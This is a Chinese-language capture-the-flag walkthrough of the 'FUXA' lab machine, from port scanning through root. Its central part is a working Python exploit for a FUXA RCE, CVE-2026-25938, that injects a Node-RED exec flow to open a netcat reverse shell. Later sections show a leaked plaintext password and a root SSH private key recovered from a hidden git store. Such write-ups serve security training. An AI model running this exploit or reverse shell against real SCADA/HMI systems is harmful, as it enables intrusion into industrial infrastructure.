FUXA

靶机：FUXA
作者：hel2zy
靶机ID: 658
系统：Linux
难度：Easy

信息搜集

192.168.43.201

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.201 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Because guessing isn't hacking.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.201:22
Open 192.168.43.201:80
Open 192.168.43.201:1881
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.201
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-26 20:52 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
Initiating ARP Ping Scan at 20:52
Scanning 192.168.43.201 [1 port]
Completed ARP Ping Scan at 20:52, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:52
Completed Parallel DNS resolution of 1 host. at 20:52, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:52
Scanning 192.168.43.201 [3 ports]
Discovered open port 22/tcp on 192.168.43.201
Discovered open port 1881/tcp on 192.168.43.201
Discovered open port 80/tcp on 192.168.43.201
Completed SYN Stealth Scan at 20:52, 0.02s elapsed (3 total ports)
Initiating Service scan at 20:52
Scanning 3 services on 192.168.43.201
Completed Service scan at 20:52, 11.03s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.201
NSE: Script scanning 192.168.43.201.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
Nmap scan report for 192.168.43.201
Host is up, received arp-response (0.00059s latency).
Scanned at 2026-05-26 20:52:29 CST for 13s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: FUXA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: F41C8C98D93BC3B707937D0C0CBFAD04
1881/tcp open  http    syn-ack ttl 64 Node.js Express framework
|_http-title: FUXA
|_http-favicon: Unknown favicon MD5: F41C8C98D93BC3B707937D0C0CBFAD04
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:88:97:5C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/26%OT=22%CT=%CU=36636%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A15979A%P=x86_64-pc-linux-gnu)SEQ(SP=10A%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 3.244 days (since Sat May 23 15:01:34 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=266 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.43.201

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
           Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)

  • 22 SSH

  • 80 HTTP

  • 1881 HTTP(FUXA)

80和1881的页面是一样的，但是FUXA默认端口是1881所以从1881开始

‍

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(root㉿Eecho)-[/opt/CVE/CVE-2025-69985]
└─# gobuster dir -u http://192.168.43.187:1881 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md -b 401,403,404
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.43.187:1881
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   401,403,404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              cgi,jpg,json,md,php,txt,html,back
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 23992]
home                 (Status: 301) [Size: 154] [--> /home/]
resources            (Status: 301) [Size: 159] [--> /resources/]
view                 (Status: 301) [Size: 154] [--> /view/]
users                (Status: 301) [Size: 155] [--> /users/]
Home                 (Status: 301) [Size: 154] [--> /Home/]
assets               (Status: 301) [Size: 156] [--> /assets/]
Resources            (Status: 301) [Size: 159] [--> /Resources/]
_images              (Status: 301) [Size: 157] [--> /_images/]
editor               (Status: 301) [Size: 156] [--> /editor/]
snapshots            (Status: 301) [Size: 159] [--> /snapshots/]
lab                  (Status: 301) [Size: 153] [--> /lab/]
Users                (Status: 301) [Size: 155] [--> /Users/]
device               (Status: 301) [Size: 156] [--> /device/]
View                 (Status: 301) [Size: 154] [--> /View/]
HOME                 (Status: 301) [Size: 154] [--> /HOME/]
Editor               (Status: 301) [Size: 156] [--> /Editor/]
Lab                  (Status: 301) [Size: 153] [--> /Lab/]
Snapshots            (Status: 301) [Size: 159] [--> /Snapshots/]
VIEW                 (Status: 301) [Size: 154] [--> /VIEW/]
Device               (Status: 301) [Size: 156] [--> /Device/]
_Images              (Status: 301) [Size: 157] [--> /_Images/]
Progress: 1985022 / 1985022 (100.00%)
===============================================================
Finished
===============================================================

‍

版本泄露

FUXA 是一个基于 Web 的 SCADA / HMI 平台， 用于工业自动化、物联网和实时过程可视化。

image

1月16日有个漏洞但是目前并不知道版本所以不能确定

image

main.a17204bdf90c1b7a.js中泄露了版本号

image

CVE-2026-25938。由于网上还没有现成的利用脚本，所以这里写了一个反弹shell的python利用脚本

参考 https://cvereports.com/reports/CVE-2026-25938

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import json

def exploit_fuxa_rce(target_ip, target_port, attacker_ip, attacker_port):
    """
    针对 FUXA 服务的 RCE 攻击脚本
    """
    url = f'http://{target_ip}:{target_port}/nodered/flows'
    
    # 构造反弹 Shell 命令
    cmd = f"-c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox nc {attacker_ip} {attacker_port} > /tmp/f'"
    
    payload = [
        {"id": "flow1", "type": "tab", "label": "pwn", "disabled": False, "info": ""},
        {
            "id": "i1", "type": "inject", "z": "flow1", "name": "go",
            "props": [{"p": "payload"}], "once": True, "onceDelay": "0.5",
            "payload": "", "payloadType": "str", "wires": [["e1"]]
        },
        {
            "id": "e1", "type": "exec", "z": "flow1", "command": "bash",
            "addpay": False, "append": cmd, "useSpawn": "false",
            "name": "rs", "wires": [[], [], []]
        }
    ]

    headers = {'Content-Type': 'application/json'}

    try:
        print(f"[*] 正在尝试向 {target_ip}:{target_port} 发送 payload...")
        response = requests.post(url, headers=headers, json=payload)
        
        if response.status_code == 200 or response.status_code == 201:
            print(f"[+] 攻击请求已成功发送 (Status: {response.status_code})")
        else:
            print(f"[!] 服务器返回非预期状态码: {response.status_code}")
            print(f"[!] 响应内容: {response.text}")
            
    except Exception as e:
        print(f"[!] 连接失败: {e}")

if __name__ == "__main__":
    # 配置变量
    TARGET_IP = "192.168.43.203"   # 目标 FUXA 服务器地址
    TARGET_PORT = "1881"           # FUXA 默认端口
    ATTACKER_IP = "192.168.43.6"    # 监听地址
    ATTACKER_PORT = "7777"         # 监听端口
    
    # 调用攻击函数
    exploit_fuxa_rce(TARGET_IP, TARGET_PORT, ATTACKER_IP, ATTACKER_PORT)

image

image

‍

提权

www -> git

上传pspy查看定时任务

1
2
wget http://192.168.43.6/pspy64
chmod +x pspy64

image

可以看到UID=1001的用户也就是git用户执行了/opt/fuxa/FUXA/server/scripts/local-sync.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@FUXA:/tmp$ cat /opt/fuxa/FUXA/server/scripts/local-sync.sh
#!/bin/bash
set -euo pipefail

LOCAL_HOST="${1:-127.0.0.1}"
GIT_USER="git"
GIT_PASS="wi3fw39w0j12e"
REMOTE_CMD="/usr/local/bin/theme-refresh --quick"

exec /usr/bin/sshpass -p "$GIT_PASS" /usr/bin/ssh \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  "${GIT_USER}@${LOCAL_HOST}" "$REMOTE_CMD"
www-data@FUXA:/tmp$

泄露了git用户的密码

横向移动到git用户

1
2
3
4
5
www-data@FUXA:/tmp$ su git
Password:
git@FUXA:/tmp$ id
uid=1001(git) gid=1001(git) groups=1001(git)
git@FUXA:/tmp$

‍

git -> root

在/opt/.cache-loader/state/下的目录结构

image

可以确定这是一个 Git 仓库

里面有个 .slots/icons​ 文件本质上是一个 索引映射表它将程序需要的“逻辑资源名称”映射到了 Git 的对象哈希值上

查看hash

1
2
3
4
git@FUXA:/opt/.cache-loader/state/.slots$ cat /opt/.cache-loader/state/.slots/icons
stable 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
fallback cbe10abbd6222a4fe029f5274aac4b35dfd65490
git@FUXA:/opt/.cache-loader/state/.slots$

使用git cat-file导出stable对应的对象

1
2
3
4
5
6
7
8
9
10
11
git@FUXA:/opt/.cache-loader/state/.slots$ git --git-dir=/opt/.cache-loader/state cat-file -p 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ
NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w
AAAECU4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3
7e9rqQb6zsL+hxnl/V7TAAAACnJvb3RATXViYW4BAgM=
-----END OPENSSH PRIVATE KEY-----
git@FUXA:/opt/.cache-loader/state/.slots$ git --git-dir=/opt/.cache-loader/state cat-file -p cbe10abbd6222a4fe029f5274aac4b35dfd65490
legacy sprite cache placeholder
git@FUXA:/opt/.cache-loader/state/.slots$

已经获得了root的私钥

1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ
NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w
AAAECU4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3
7e9rqQb6zsL+hxnl/V7TAAAACnJvb3RATXViYW4BAgM=
-----END OPENSSH PRIVATE KEY-----

image